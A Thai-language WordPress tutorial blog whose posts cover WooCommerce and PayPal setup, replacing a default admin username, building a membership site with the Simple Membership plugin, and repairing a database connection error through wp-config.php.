ถ้ายังไม่เคยใช้ก็ลองลงดูครับ ขั้นตอนนี้จะติดตั้งปลั๊กอิน Jetpack ให้อัตโนมัติ การเซต Jetpack กับ WooCommerce ผูก WooCommerce เข้ากับ PayPal ปกติในประเทศนิยมใช้การโอนเงินผ่านธนาคาร แต่ถ้าคุณต้องค้าขายกับต่างประเทศ การใช้ PayPal ก็เป็นสิ่งที่สะดวกมาก ผูก WooCommerce กับ PayPal กลับไปดูที่ dashboard ให้คุณกลับไปดูที่ dashboard จะมีหน้าสำหรับการติดตั้ง Jetpack เพิ่มเติม ผมแนะนำให้คุณเก็บ notify ตัวนี้ไว้เผื่อใช้ WooCommerce dashboard สังเกต Status ก่อน คุณจะสังเกตเมนู WooCommerce ทางซ้ายให้คลิกเลือก Status เพื่อดูว่า WooCommerce ที่คุณติดตั้งเข้ากันได้กับเวอร์ชันของ WordPress ที่ใช้อยู่หรือไม่ และที่สำคัญ php เวอร์ชันของโฮสต์ที่คุณใช้อยู่รวมทั้งหน่วยความจำของโฮสต์เพียงพอหรือไม่ ถ้าตรงไหนขึ้นตัวแดง ให้คุณปรึกษาโฮสต์เพื่อ upgrade ให้ได้ตามสเปคของ WooCommerce ดู status หลังติดตั้ง WordPress ตอนนี้แค่นี้ก่อนนะครับ จริงๆแล้วไม่มีอะไรมาก แค่โหมโรง

การเปลี่ยน username ใน WordPress

การเปลี่ยน username ใน WordPress

ตอนติดตั้ง WordPress ใหม่ๆใครที่เผลอไปตั้งชื่อ username สำหรับ login เข้า WordPress เป็น admin, root, superuser หรืออะไรที่คล้ายๆกันแล้วหล่ะก็ คุณกำลังเสี่ยงกับการถูกแฮ็คอย่างต้องสงสัย กฏข้อแรกของการตั้ง username สำหรับระบบเว็บทั่วไปคืออย่าใช้ชื่อพื้นๆที่เดาได้ง่าย คุณอาจจะคิดว่าตั้งรหัสผ่านไว้ยากๆก็พอ ซึ่งจริงๆแล้วไม่พอครับ เพราะการแฮ็คทำโดยโปรแกรมหุ่นยนต์หรือ robot ซึ่งจะมีฐานข้อมูลเป็น dictionary ของคำที่คนมักจะใช้เป็น username และรหัสผ่าน robot เหล่านี้สามารถเดาได้อย่างไม่จำกัดและไม่เหน็ดเหนื่อย การตั้ง username ให้เดาได้ง่ายๆเท่ากับว่าเป็นการลดงานให้ robot ไปเกือบครึ่งเลยที่เดียว WordPress ไม่มีคำสั่งเปลี่ยนชื่อ username ข่าวไม่ดีคือ WordPress ไม่มีวิธีการง่ายๆให้คุณเปลี่ยน username วิธีเดียวที่คุณทำได้คือ สร้าง user ใหม่ แล้วให้มีสิทธิ์เท่ากับ user เดิม แล้วลบ user เดิมออกซะ ง่ายๆแค่นี้ ถ้าคุณอ๋อแล้วก็ไม่ต้องอ่านต่อ ที่เหลือสำหรับมืิอใหม่ครับ (Note สำหรับคนที่รู้จักใช้ phpmyadmin อาจจะใช้วิธีเปลี่ยน username ในฐานข้อมูลเลย ซึ่งอันนี้ผมไม่แน่ใจว่าจะมีปัญหาซ่อนเร้นตามมาหรือไม่ เพราะเมื่อเปลี่ยน username จะต้องมีการโอนโพสต์หรือเพจไปยัง user ใหม่ ซึ่งหากคุณลบ user เก่า WordPress จะถามว่าคุณจะโอนโพสต์หรือเพจของ user ที่จะลบนั้นไปให้ใคร การเปลี่ยน username ในฐานข้อมูลโดยตรง แม้โดยหลักการน่าจะเป็นวิธีที่ใช้ได้ เพราะในระดับโปรแกรม ระบบจะอ้างอิงตาม user id ไม่ได้อ้างอิงตาม username แต่ก็ไม่ได้เป็นหลักประกันเสมอไป) 1. สร้าง user ใหม่ เข้าเมนู Users -> Add New ตั้งเป็นชื่ออื่นที่ไม่ใช่คำสามัญพวก admin, root, superuser อาจเป็นชื่อคุณก็ได้ กำหนดสิทธิ์ให้เป็น Administrator ถ้ามีคุณดูแลระบบคนเดียว หรือตามสิทธิ์เดิมของ user ที่คุณต้องการจะเปลี่ยน ปกติถ้าต่ำกว่า Administrator มากเช่นเป็นแค่ subscriber ก็ไม่ซีเรียสเท่าไหร่ คุณไม่ต้องเปลี่ยนก็ได้ คุณก็จะได้ user ใหม่ที่จะไปแทนที่ admin เดิม ต่อไปก็ลบ admin ออก 2. ลบ admin เดิมออก ถ้า user ที่จะลบเขียนสร้างโพสต์หรือเพจอะไรไว้ WordPress ก็จะถามว่าจะโอนโพสต์หรือเพจนั้นให้ไปอยู่ในความดูแลของใคร (ซึ่งแน่นอน admin ต้องสร้างไว้เพียบ) คุณก็เลือกโอนให้ user ใหม่เป็นอันเสร็จสิ้น แต่ถ้าเลือกอันบน Delete all contents ก็จะลบโพสต์หรือเพจที่ admin เคยสร้างออกหมด ปกติก็จะไม่เป็นเช่นนั้น จะลบก็ให้แน่ใจก่อนนะครับ

การทำระบบสมาชิก WordPress ตอนที่ 3

การทำระบบสมาชิก WordPress ตอนที่ 3

มาถึงตอนสุดท้ายของการทำระบบสมาชิกด้วย WordPress แล้วครับ ตอนนี้อาจจะตรงกับความต้องการของบางเว็บที่ต้องการแสดงข้อมูลบางอย่างเฉพาะสมาชิก ซึ่งปลั๊กอิน Simple Membership มีความสามารถนี้อยู่ในตัวแล้ว เริ่มเลยนะครับ สมมติว่าเราต้องการทำเว็บไซต์ที่มีระบบสมาชิกและต้องการให้เว็บแสดงราคาสินค้าที่ต่างกัน ผู้เข้าชมเว็บทั่วไปเห็นราคาหนึ่ง ผู้เป็นสมาชิกและล็อกอินเข้ามาเห็นราคาหนึ่ง และราคาสำหรับผู้เป็นสมาชิกก็ต่างกันไปตามระดับของสมาชิก โจทย์ง่ายๆแค่นี้ เริ่มโดยใช้ Simple Membership ก่อนอื่นคุณต้องติดตั้งปลั๊กอินเสริมอีกตัวในเครือเดียวกับ Simple Membership คือ SWPM Partial Protection แล้วสมมติว่าเราสร้างระดับสมาชิกไว้สองระดับ เราเซตสมาชิกไว้สองระดับคือ Dealer กับ Distributor สมมติว่าเรามีสินค้าที่มีสามระดับราคาซึ่งเขียนไว้ในโพสต์หรือเพจใดก็ได้ที่คุณต้องการ ตามรูป(ผมใช้ King composer) ของคุณอาจจะเป็นโพสต์หรือเพจของ WordPress ธรรมดาหรือ composer ที่คุณเลือกใช้ ข้อความที่เตรียมไว้ก่อนที่จะใส่ code ผมต้องการให้ผู้เข้าเว็บไซต์ทั่วไปเห็น คำว่า เครื่องปั๊มน้ำ ราคา 20000 บาท สมาชิกระดับ dealer เห็นคำว่า เครื่องปั๊มน้ำ สำหรับ dealer ราคา 18000 บาท สมาชิกระดับ distributor เห็นคำว่า เครื่องปั๊มน้ำ สำหรับ distributor ราคา 18000 บาท ง่ายๆเลยให้ใส่ code ตามรูปนี้ครับ การใส่ code คร่อมข้อมูลที่ต้องการให้เห็นเฉพาะกลุ่มสมาชิก เห็นทั่วไปที่เข้าเว็บจะเห็นแบบนี้ ข้อมูลสำหรับผู้ชมเว็บไซต์ทั่วไป สมาชิกที่ล็อกอินเข้ามาและมีระดับสมาชิกเป็น dealer จะเห็นแบบนี้ ข้อมูลสำหรับ dealer สมาชิกที่ล็อกอินเข้ามาและมีระดับสมาชิกเป็น distribution จะเห็นแบบนี้ ข้อมูลสำหรับ distributor แถบสีที่ดูรกตารวมทั้งข้อความ Your membership level … ลบออกได้ ทำตามนี้ครับ ไปที่เมนูธีม->ปรับแต่ง หาเมนูที่ชื่อ Additional CSS คลิกแล้วจะขึ้น การปิดบางส่วนด้วย css กดปุ่ม Close แล้วใช้ Inspect Element ของ browser แล้วหาชื่อ class ที่คร่อมข้อความนั้น แล้วใส่ display:none เข้าไป เป็นอันเสร็จ

การทำระบบสมาชิก WordPress ตอนที่ 2

การทำระบบสมาชิก WordPress ตอนที่ 2

จากตอนแรกคุณคงพอมองเห็นภาพการสร้างระบบสมาชิกใน WordPress โดยใช้ปลั๊กอิน Simple Membership ไปพอสมควร ตอนนี้เราจะมาเก็บรายละเอียดบางอย่างเวลาทำเว็บไซต์จริงกัน ระบบ user ของ WordPress ก่อนอื่นมาทำความเข้าใจกับระบบ user ของ WordPress กันก่อน โดยพื้นฐาน WordPress มีเมนูสำหรับเพิ่ม ลบ หรือแก้ไข user เพื่อให้สิทธิ์ในการใช้ระบบหลังบ้านไว้อยู่แล้ว ระบบ user พื้นฐานของ WordPress ซึ่ง admin สามารถเพิ่มหรือลบ user ได้ โดยพื้นฐาน WordPress กำหนดสิทธิ์หรือที่เรียกว่า Role (บทบาท) ของผู้ใช้เรียงจากต่ำไปสูงดังนี้ Subscriber เป็นสิทธิ์ที่ต่ำที่สุดในระบบของ WordPress จุดประสงค์ก็เพื่อให้สมาชิกสามารถ comment ใน post ต่างๆได้ Contributor สามารถแก้ไขหรือลบ post ที่ตัวเองเป็นผู้สร้างได้แต่ไม่สามารถแก้ไขหรือลบ post ที่ได้เผยแพร่ออกไปแล้ว สิทธิ์นี้มักกำหนดให้กับสมาชิกที่เราต้องการให้มาเขียน content ให้เว็บไซต์ของเรา (เมนูภาษาไทยใช้คำว่า ผู้สนับสนุน ซึ่งไม่ตรงกับความหมายเท่าไหร่) Author สมาชิกมีสิทธิ์ที่จะอัพโหลดไฟล์ สร้าง แก้ไข สั่งให้เผยแพร่หน้าเว็บไซต์และลบ post ที่ตนเองสร้างขึ้น Editor เป็นสมาชิกที่มีสิทธิ์สร้าง แก้ไข เผยแพร่ และลบ post สิทธิ์นี้สามารถใช้กับ post ที่สร้างโดยสมาชิกที่มีสิทธิ์ข้างต้นที่กล่าวมา นอกจากนี้ยังมีสิทธิ์จัดการกับ comment ที่มีต่อ post ต่างๆได้ เช่นการอนุญาตให้เผยแพร่ comment ลบ หรือ แก้ไข comment และยังมีสิทธิ์ในการใช้เมนู category, tag, media Administrator เป็นสมาชิกแรกที่ถูกสร้างขึ้นตอนเราติดตั้ง WordPress ซึ่งจะมีสิทธิ์สูงสุด คุณสามารถสร้าง administrator ได้หลายบัญชี ซึ่งต่างก็จะมีสิทธิ์เท่าเทียมกัน สร้าง user ใหม่ เมื่อเราคลิก Add New เพื่อสร้าง user ใหม่ เราจะต้องกำหนดสิทธิ์ข้างต้นให้กับ user นั้น ปกติเมื่อเราสร้าง user ใหม่เราจะต้องใส่ข้อมูลขั้นต่ำสุดก็คือ Username, Email, Password, Firstname, Lastname แต่ในความเป็นจริงมักมีข้อมูลอื่นๆที่ต้องใช้ประกอบไปกับ user แต่ละคน เช่น เพศ วันเกิด ที่อยู่ เป็นต้น ข้อมูลอื่นๆเหล่านี้เรียกว่า profiles ซึ่งคุณอาจจะใส่หรือไม่ใส่ก็ได้ แล้วแต่ว่าจำเป็นหรือไม่ ที่กล่าวมานี้เป็นหลักการพื้นฐานของ WordPress เกี่ยวกับระบบ user ซึ่งมีความสามารถจำกัดอยู่มักจะเกี่ยวกับการเขียนบทความหรือ post เสียมากกว่า ซึ่งถ้าเราต้องการ user ที่มีสิทธิ์อย่างอื่นก็ต้องใช้ปลั๊กอินเข้าช่วย ระบบ user ของ Simple Membership ดังที่ได้เห็นแล้วว่าระบบ user ที่มีมากับ WordPress มีขอบเขตจำกัด ถ้าเราต้องการเพิ่มความสามารถของระบบสมาชิกที่ให้สิทธิ์อื่นๆที่นอกเหนือไปจากการสร้างหรือแก้ไข post หรือ page แล้วเราจะต้องใช้ปลั๊กอินมาเพิ่มความสามารถเอาเอง ระบบสมาชิกของ Simple Membership ออกแบบให้เราสามารถสร้างระดับของสิทธิ์หรือระดับสมาชิกเพิ่มเติมจาก subscribe, author, editor … โดยเรียกว่า membership level ซึ่งคุณได้เรียนรู้วิธีการสร้างและการใช้ไปแล้วในตอนที่ 1 โดยทั่วไประบบ user ของปลั๊กอิน(อย่างเช่น Simple Membership)กับของ WordPress จะมีปัญหาหากใช้ร่วมกันไม่เหมาะสม หลักง่ายๆก็คือ หากคุณจะใช้ปลั๊กอินในการจัดการ user ก็ให้สร้าง user ผ่านปลั๊กอินตัวนั้น อย่าสร้าง user ผ่านระบบของ WordPress โดยทั่วไป user ที่สร้างโดยปลั๊กอินจะกลายเป็น user ในระบบของ WordPress แต่ user ที่สร้างโดยระบบของ WordPress อาจจะเข้ากันไม่ได้กับระบบของปลั๊กอิน สร้างลิงค์สำหรับลงทะเบียน ถ้าคุณต้องการให้ลูกค้าเข้ามาสมัครเป็นสมาชิกของเว็บไซต์ของคุณผ่านทางหน้าเว็บ คุณจะต้องมีลิงค์หรือปุ่มให้ลูกค้ากดซึ่งอาจจะวางไว้ที่เมนูใดเมนูหนึ่ง แต่ก่อนอื่นคุณจะต้องอนุญาตให้มีการสมัครสมาชิกผ่านหน้าเว็บไซต์เสียก่อน เข้าไปที่เมนู…

วิธีแก้ Error Establishing a Database Connection

วิธีแก้ Error Establishing a Database Connection

เมื่อใช้ WordPress ไปสักพัก หรือถ้าโชคร้ายสำหรับมือใหม่ คุณอาจผงะเมื่อเปิดเว็บไซต์ของคุณแล้วเจอคำว่า Error Establishing a Database Connection ที่แย่กว่านั้นคือเจอแม้กระทั่งตอนที่คุณกำลังจะเข้าหลังบ้านเพื่อไปแก้ไขปัญหา นี่เป็นฝันร้ายไม่ว่าจะมือเก่ามือใหม่ แต่อย่าเพิ่งตกใจไป ทุกอย่างมีทางแก้ไขเสมอ ภาษิตฝรั่งว่า “ทุกอย่างต้องมีครั้งแรกเสมอ” และเจอแล้วก็ต้องหัดแก้ไขครั้งแรกเสมอ เราจะมาเริ่มต้นที่ error ที่หน้าเว็บไซต์ก่อน เพราะว่าเป็นฝันร้ายที่เยียวยาได้ง่ายกว่า error ที่หลังบ้านหรือ backend Error Establishing a Database Connection Error นี้เราพบเห็นได้บ่อยๆเวลาเข้าเว็บไซต์อื่นๆ โดยเฉพาะเวลาคลิกทำรายการบางอย่าง หรือที่แย่ที่สุดก็คือเป็นต้องแต่เข้าเว็บนั้นเลย error จากการติดต่อฐานข้อมูลไม่ได้ ซึ่งมักหมายรวมถึงใช้ WordPress ไม่ได้ทั้งระบบ ถ้าปัญหามาจาก host ปัญหานี้สำหรับมือใหม่หรือผู้ใช้ธรรมดาอาจจะดูน่ากลัวพอสมควร ถ้าเป็นปัญหาชั่วคราวอาจเกิดจากระบบฐานข้อมูลที่ชื่อว่า MySQL ของ host ที่เราใช้อยู่เกิดมีปัญหาชั่วขณะหรือตัว host อาจจะถูกโจมตีจากเครื่อง hacker เพื่อจุดประสงค์บางอย่างและบางขณะ หรือระบบปฏิบัติการของ host มีโหลดมากบางชั่วขณะ หรืออื่นๆ ถ้าเราไม่ได้ไปแก้ไขอะไรเกี่ยวกับระบบ หรือแทบจะไม่ได้ไปแก้ไขอะไรเลย โอกาสที่จะเกิดจากทาง host เป็นไปได้สูง อันนี้ก็รอสักพัก ถ้าปัญหายังอยู่ยาวก็ลองสอบถามไปทาง host ว่าระบบฐานข้อมูลมีปัญหาหรือเปล่า เราเคยใช้ได้ แต่กลับใช้ไม่ได้ ถ้าปัญหามาจากเราเอง แต่ถ้าคุณเผลอไปทำอะไรบางอย่างที่ตัวระบบ เช่นเข้า DirectAdmin หรือ tool อะไรก็ตามของ host แล้วหลังจากนั้นก็เกิดปัญหา โอกาสที่จะเกิดจากการกระทำ(ตอนเบลอๆ)ของเราเองก็มีสูง ถ้าคิดว่าปัญหามาจากเราไปทำอะไรบางอย่างก็ต้องลองตรวจสอบดู ตอนแรกให้สมมติว่าฐานข้อมูลยังปกติดีอยู่ ข้อมูลยังอยู่ ระบบฐานข้อมูลยังทำงาน แต่มีบางสิ่งบางอย่างไปทำให้ติดต่อฐานข้อมูลไม่ได้ ลองดูไฟล์ wp-config.php WordPress ใช้ไฟล์ที่ชื่อว่า wp-config.php เป็นตัวเก็บชื่อฐานข้อมูล ชื่อผู้ใช้ฐานข้อมูล และรหัสผ่านข้อมูล ปกติไฟล์นี้จะถูกสร้างขึ้นตอนที่เราติดตั้ง WordPress ครั้งแรก หากคุณเคยติดตั้ง WordPress คุณจะคุ้นเคยกับ error นี้อยู่แล้ว จริงมันก็คือเพื่อนเก่านั่นเอง นั่นคือ ข้อมูลทั้งสามตัวข้างต้นไม่ถูกต้อง WordPress จึงไม่สามารถติดต่อฐานข้อมูลได้ ปกติไฟล์นี้จะถูกแก้ไขโดยผู้รู้ แต่ถ้าจู่ๆมันถูกแก้ไขเองก็อาจเกิดจากถูกแฮ็ก (hack) แต่โอเค อย่าเพิ่งตกใจประเด็นหลังนี้ ขอให้คุณเข้าไปดูไฟล์ดังกล่าวดู แล้วหาบรรทัดที่เขียนว่า define(‘DB_NAME’, ‘hostuser_dbname’); define(‘DB_USER’, ‘hostuser-user’); define(‘DB_PASSWORD’, ‘password’); define(‘DB_HOST’, ‘localhost’); ค่าทั้งสี่ค่าทางขวาจะถูกเซตไว้ตอนคุณติดตั้ง WordPress ซึ่งไม่มีเหตุผลที่มันจะถูกเปลี่ยนไป แต่ถ้ามันถูกเปลี่ยน (หรือหายไป) คุณก็เพียงแต่นำค่าเดิมที่ใช้ตอนติดตั้งมาใส่ ถ้าคุณไม่ได้จดเอาไว้ ให้คุณเข้า DirectAdmin->MySQL แล้วคลิกเลือกฐานข้อมูลของเว็บไซต์ของคุณ ในนั้นจะมี hostuser_dbname และ hostuser-user และ localhost ให้ copy ค่าทั้งสามตัวนี้มาใส่ ยกเว้น password จะไม่มี ให้คุณตั้ง password ใหม่ใน DirectAdmin->MySQL นี้ จากนั้นนำ password นั้นมาใส่ในไฟล์ wp-config.php นี้ บันทึก แล้วลอง refresh หน้าเว็บดู ถ้าเกิด error นี้ทั้งจาก backend และ frontend แต่ถ้าเกิด error ทั้งหน้าเว็บไซต์และหลังเว็บไซต์ โอกาสที่ฐานข้อมูลของเราพังก็มีสูง อันนี้เราหมดสิทธิ์ที่จะเข้าหลังบ้านของ WordPress แต่ไม่ต้องตกใจ วิธีแก้ไขเหมือนวิธีแรกคือ เปิดไฟล์ wp-config.php เข้าเพิ่มคำสั่งนี้เข้าไปท้ายไฟล์ define(‘WP_ALLOW_REPAIR’, true); บันทึกแล้วพิมพ์คำสั่งนี้ที่ url ของเบราเซอร์ http://fixmeplease.com/wp-admin/maint/repair.php โดย fixmeplease.com คือชื่อเว็บไซต์ของคุณ คำสั่งนี้จะทำการซ่อมแซมฐานข้อมูล MySQL ของคุณ (ถ้าปัญหาไม่ร้ายแรง) จะขึ้นหน้าจอตามนี้ เมื่อแก้ไข wp-config.php โดยใส่รหัสให้ repair ฐานข้อมูล ให้กด repair ยืนยัน ซึ่งถ้าไม่ร้ายแรงมาก ปกติก็จะซ่อมได้ ลอง refresh เว็บไซต์ของคุณดู เป็นอันจบ แต่ถ้า error ยังอยู่…

เริ่มต้นทำเว็บอีคอมเมิร์ซด้วย WooCommerce ปฐมบท

เริ่มต้นทำเว็บอีคอมเมิร์ซด้วย WooCommerce ปฐมบท

ทำเว็บ eCommerce ด้วย WordPress ดูอาจจะเป็นเรื่องใหญ่และน่ากลัวสำหรับคนที่ยังไม่มีเว็บไซต์ แต่ถ้าใครมีอยู่แล้วและต้องการอัพเกรดไปเป็นเว็บไซต์อีคอมเมิร์ซก็จะไม่ใช่เรื่องยาก เพราะมีต้นทุนอยู่แล้วครึ่งหนึ่ง โดยเฉพาะถ้ามีเว็บไซต์ที่เป็น WordPress อยู่ก่อนแล้วก็เป็นเรื่องง่าย เพราะคุณสามารถติดตั้งปลั๊กอิน WooCommerce เพื่อทำให้เว็บธรรมดากลายเป็นเว็บอีคอมเมิร์ซแทบจะในทันที บอกตามตรงว่าเมื่อหลายปีก่อนผมไม่ค่อยสนใจการใช้ WooCommerce กับ WordPress ซักเท่าไหร่ เพราะตอนนั้นมีปลั๊กอินตัวเลือกและ platform ทางเลือกอยู่หลายตัว แต่พอทาง WordPress ประกาศยกฐานะ WooCommerce ให้เป็นปลั๊กอินมาตรฐานอีคอมเมิร์ซสำหรับ WordPress ผมก็เริ่มหันมาสนใจ WooCommerce อย่างเต็มตัว WooCommerce หรืออื่นๆ ถ้าคุณกำลังจะสร้างเว็บไซต์อีคอมเมิร์ซหรือกำลังจะอัพเกรดเว็บ WordPress ธรรมดาของคุณให้กลายไปเป็นร้านค้า คุณอาจจะมองหาทางเลือกอื่นๆ คุณอาจจะเคยได้ยินชื่อ Opencart, Magento หรืออะไรก็ตามที่คุณอาจหาข้อมูลได้จาก google หรืออาจจะมีผู้เชี่ยวชาญบางคนแนะนำคุณว่าควรเริ่มจากทางเลือกอื่นที่ไม่ใช่ WordPress+WooCommerce ด้วยเหตุผลว่าสู้ระบบอีคอมเมิร์ซที่สร้างมาเฉพาะไม่ได้ WordPress พัฒนามาจากการเป๋น blog แล้วเอาปลั๊กอินมาเสียบเพิ่ม รวมทั้งอีคอมเมิร์ซ มันทำให้เป็นระบบเด็กๆ ไม่รองรับงานขนาดใหญ่ ประเด็นที่ว่ามานั้นก็มีส่วนถูก WordPress+WooCommerce ไม่ใช่ระบบที่แข็งแกร่งถ้าคุณเป็นธุรกิจขนาดใหญ่ที่มีสินค้าและยอดออร์เดอร์นับพันรายการต่อวัน ถ้าคุณเป็นธุรกิจในระดับนี้ผมแนะนำให้ใช้เฉพาะ แต่ถ้าสเกลคุณต่ำกว่านั้น WordPress+WooCommerce คือทางเลือกที่ดีที่สุด(ในความเห็นของผม) คุณอาจเคยได้รับคำแนะนำว่า จะทำทั้งทีก็ลงทุนกับระบบใหญ่ไปเลยเดี๋ยวขยายงานทีหลังต้องไปเปลี่ยนระบบใหม่อีก ในระยะยาวจะไม่คุ้ม อันนี้แล้วแต่ ถ้าคุณมีทุนน้อยก็เริ่มจาก WordPress+WooCommerce เมื่อมีรายการต่อวันมาก แสดงว่าคุณกำลังไปได้สวยคุณก็จะมีเงินมากพอที่จะลงทุนปรับเปลี่ยนระบบได้ในภายหลัง แต่ถ้าเงินทุนคุณหนาคุณอาจจะเริ่มจากการจ้างคนมาพัฒนาระบบเฉพาะหรือใช้ opensource ทางอีคอมเมิร์ซโดยเฉพาะเช่น Magento ซึ่งคุณสามารถมองข้าม WordPress+WooCommerce ไปได้เลย ผมคิดว่าส่วนใหญ่ที่เข้ามาอ่านคงเป็นกลุ่มเริ่มต้น ดังนั้นสรุปว่า WordPress+WooCommerce นี่แหละเหมาะที่สุดแล้ว ส่วนเรื่องขยับขยายระบบในวันข้างหน้าอย่าไปกังวลมากนัก ถ้าเราไปได้สวยจริงก็แสดงว่าเริ่มมีเงินทุน ซึ่งการเปลี่ยนแปลงระบบในภายหลังก็จะไม่ใช่ปัญหา เริ่มทำเว็บอีคอมเมิร์ซ สิ่งแรกที่คุณต้องมีก็คือเว็บไซต์แบบธรรมดาที่ใช้ระบบของ WordPress อยู่แล้ว ซึ่งอาจจะเป็นเว็บไซต์เปล่าๆก็ได้ จากนั้นก็ค้นหาปลั๊กอิน WooCommerce ในคลังของ WordPress ติดตั้งแล้ว Activate ก็จบขั้นตอนแรก ทำความเข้าใจกับระบบ WooCommerce ระบบของ WooCommerce ไม่มีอะไรซับซ้อน ถ้าคุณเคยสั่งซื้อสินค้าออนไลน์หรือเข้าไปดูเว็บประเภทนี้คุณก็คงจะคุ้นเคยกับระบบอีคอมเมิร์ซอยู่แล้ว โดยพื้นฐานระบบจะสร้างสิ่งเหล่านี้ให้ หน้า Shop สำหรับแสดงรายการสินค้าที่จะขาย ซึ่งจะแสดงราคา ส่วนลด และปุ่ม “ใส่ลงตระกร้า” ให้เรียบร้อยหน้า Account สำหรับลูกค้าให้สมัครสมาชิก ล็อกอิน และเช็คคำสั่งซื้อหน้า Checkout สำหรับให้ลูกค้าสรุปรายการสั่งซื้อและส่งคำสั่งซื้อ เมื่อติดตั้งปลั๊กอินเสร็จสิ่งเหล่านี้จะพร้อมให้คุณใช้โดยแทบไม่ต้องทำอะไร แต่… ถ้าคุณต้องการความพิเศษ มันจะต้องทำอะไรมากกว่านี้และไม่ใช่เรื่องง่ายนักที่จะได้เว็บอีคอมเมิร์ซที่ดูดี น่าเชื่อถือ และเป็นมืออาชีพ เรื่องหน้าตาของเว็บ เนื่องจาก WooCommerce เป็นปลั๊กอินตัวหนึ่งของ WordPress ดังนั้นหน้าของมันจึงขึ้นอยู่กับธีมที่เราเลือกใช้ด้วย ข่าวดีคือว่าธีมส่วนใหญ่จะสนับสนุน WooCommerce อยู่แล้ว แต่ถ้าธีมใดไม่สนับสนุนก็จะมีคำเตือนที่หน้า dashboard จากปลั๊กอินว่าธีมนั้นไม่ได้ประกาศว่าเข้ากันได้กับ WooCommerce ซึ่งอันนี้คุณต้องลองเล่นดู ที่ว่ามานี่หมายถึงธีมฟรีในคลังของ WordPress นะครับ ส่วนธีมเสียเงินสนับสนุนอย่างแน่นอน จำเป็นไหมต้องซื้อธีม ปกติคุณมีทางเลือกสองอย่างคือ หนึ่งใช้ธีมฟรีในคลังของ WordPress แล้วมาโมดิฟายเอา ซึ่งเหมาะสำหรับคนที่มีทักษะทางเทคนิคพวก HTML, CSS สองคือซื้อธีมซึ่งเป็นวิธีที่ง่ายดี ดีกว่าแบบแรกคือมี option ให้ปรับแต่งได้มากกว่าและมีประเภทของธีมให้เลือกตรงตามแบบธุรกิจทุกประเภท อย่างที่ว่าแล้วว่าธีมซื้อเกือบทั้งหมดจะสนับสนุน WooCommerce อยู่แล้ว แต่จากประสบการณ์ของผม ธีมซื้อส่วนใหญ่ปรับแต่งหน้า shop, account, checkout ของ WooCommerce เพื่อให้องค์ประกอบดูกลมกลืนกับหน้าอื่นๆเท่านั้น ไม่ค่อยไปปรับเลย์เอาท์ให้ดูแตกต่างจากมาตรฐานของ WooCommerce ไปเท่าไหร่ มักจะหนักไปทางเพิ่มเมนูให้ปรับ font, size ตรงนู้นตรงนี้มากขึ้นเท่านั้น ดังนั้นถ้าคุณจะเลือกซื้อธีมก็ต้องลองดูในรายละเอียดนิดหนึ่งว่ามันให้เลย์เอาท์ที่แตกต่างกันไหม มิฉะนั้นมันก็จะไม่ต่างอะไรกับธีมฟรีในคลังของ WordPress เพียงแต่เพิ่ม option ให้เซตอะไรที่เกินความจำเป็นมาให้ เอ…แล้วสรุปว่าไง ควรซื้อหรือไม่ควรซื้อ สรุปอย่างนี้ครับ ถ้าคุณเป็นธุรกิจที่ชัดเจนก็แนะนำให้ซื้อครับ ถ้าเพิ่งเริ่มต้นขายนิดๆหน่อยๆก็รอไว้ก่อนได้ ธีมฟรีก็เพียงพอกับการเปิดเว็บอีคอมเมิร์ซแล้ว (แถมนิดหนึ่งครับ ธีมซื้อมีสองประเภท ประเภทหนึ่งจะสนับสนุน WooCommerce เพียงผิวเผินคือมีรูปลักษณ์ในหน้า shop, account, checkout กลมกลืนกับหน้าปกติ (เช่นสี ฟอนต์อะไรพวกนี้) แต่เลย์เอาท์ไม่ต่างอะไรจาก WooCommerce มาตรฐาน อีกประเภทหนึ่งปรับแต่งหน้าพวกนี้ให้เลย์เอาท์เลยดูแปลกตา ถ้าต้องการธีมประเภทนี้มักจะอยู่ในหมวดธุรกิจเฉพาะ เช่นธีมสำหรับเสื้อผ้า ธีมสำหรับสินค้าไอที ถ้าสินค้าที่คุณจะขายไม่เจาะจงประเภทธุรกิจคุณก็จะต้องซื้อธีมแบบแรก จะได้เลย์เอาท์ดูพื้นๆ แต่ถ้าธุรกิจคุณเจาะจงก็เลือกธีมแบบที่สอง…

การทำระบบสมาชิก WordPress ตอนที่ 1

การทำระบบสมาชิก WordPress ตอนที่ 1

การทำระบบสมาชิกด้วย WordPress ไม่ใช่เรื่องยาก ถ้าคุณต้องการเว็บไซต์ให้สิทธิ์สมาชิกเท่านั้นในการเข้าดูบางหน้าหรือบางโพสต์ได้ คุณจะต้องใช้ปลั๊กอินเพิ่ม ในคลังของ WordPress มีปลั๊กอินประเภทนี้อยู่หลายตัว ที่ผมจะแนะนำในบทความนี้คือ Simple Membership เริ่มจากการติดตั้ง ก็เพียงเข้าไปที่ Plugins->Add new แล้วค้นหา Simple Membership ติดตั้งแล้ว Activate จากนั้นจะมีเมนูเพิ่มเข้ามาชื่อว่า WP Membership เริ่มต้นใช้งาน ก่อนอิ่นให้คุณไปเปิดเมนู page จะสังเกตเห็นว่าปลั๊กอินได้ถือวิสาสะสร้างเพจให้คุณตามรูป หน้าที่ปลั๊กอินสร้างให้โดยอัตโนมัติ ซึ่งคุณสามารถนำไปวางในเมนูตำแหน่งที่ต้องการได้เลยเพื่อลิงค์ไปยังหน้าจอสำหรับการสมัครสมาชิก (Registration) การล็อกอิน (Member Login) และหน้าลืมรหัสผ่าน (Password Reset) และหน้ารายละเอียดสมาชิก (Profile) หน้า page ที่เราต้องการใช้ก็คือ Registration, Member Login และ Profile ก่อนอื่นให้คลิกเข้าไปแก้ไขเพจทั้ง 3 เพจแล้วแก้ไขช่อง Page Attributes (อยู่ขวามือ) แก้ Parent เป็น (no parent) แล้วกด update ซึ่งเราจะเอาไปใช้ใน ตอนที่ 2 ให้แก้ Parent ของเพจทั้งสามเพจให้เป็น (no parent) หน้า Join Us คุณลองเข้าไปเปิดหน้า Join Us ปลั๊กอินจะสร้าง content ให้ตามรูป หลังติดตั้ง Simple Membership ปลั๊กอินจะสร้างหน้า Join Us และ content ให้ตามรูป จริงๆแล้วหน้านี้เราไม่ต้องใช้ก็ได้ ปลั๊กอินเพียงแต่แนะนำให้เราผูกลิงค์เข้ากับรูป Join Now ไปยังหน้าที่จะใช้ลงทะเบียนอีกทีหนึ่ง คุณอาจจะสร้างเมนูลิงค์อันหนึ่งไว้ที่เมนูหลักแล้วลิงค์ไปที่หน้าลงทะเบียนเลยก็ได้ ซึ่งเป็นสิ่งที่ผมแนะนำ ดังนั้นคุณลบหน้า join us นี้ออกได้ หน้า Registration เป็นหน้าที่ปลั๊กอินสร้างให้โดยอัตโนมัติเช่นกัน โดยอยู่ภายใต้หน้า Join Us หน้านี้มี content 